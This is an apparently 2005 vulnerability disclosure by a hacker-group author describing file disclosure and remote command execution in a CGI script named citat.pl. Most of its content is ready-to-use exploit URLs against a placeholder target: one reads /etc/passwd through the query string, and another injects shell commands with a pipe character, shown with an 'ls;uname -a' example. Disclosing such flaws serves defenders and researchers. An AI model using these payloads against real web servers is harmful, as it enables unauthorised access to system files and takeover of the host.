remote command execution in citat.pl script

[fireboy fireboy <fireboynet () webmails com>]

Tunis 24/04/2005
BUG found by fireboy
fireboy () webmails com



THERE ARE SOME BUGS IN  citat.pl SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM 
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/cgi-bin/citat.pl?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/citat.pl?|command


ex:
http://www.target.com/cgi-bin/citat.pl?|ls;uname -a;



greetz to all magattack members www.magattack.tk